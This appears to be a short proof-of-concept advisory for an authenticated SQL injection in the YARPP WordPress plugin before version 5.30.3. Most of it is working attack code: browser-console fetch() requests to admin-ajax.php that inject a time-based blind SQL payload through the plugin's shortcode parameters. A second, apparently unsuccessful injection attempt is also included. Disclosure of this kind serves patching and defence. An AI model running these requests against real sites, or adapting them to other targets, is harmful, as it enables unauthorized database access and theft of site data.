YARPP - Yet Another Related Posts Plugin < 5.30.3 - Subscriber+ SQLi

Run the below command in the developer console of the web browser while being on the blog as a subscriber user (the reference id must be an existing post ID):

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[yarpp reference_id='1' recent='1 DAY) AND (SELECT 42 FROM (SELECT(SLEEP(5)))b']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));


(Could not exploit the below so far, despite the data being injected)

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[yarpp reference_id='1' limit='aa YOLO bla-bla-bla']",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));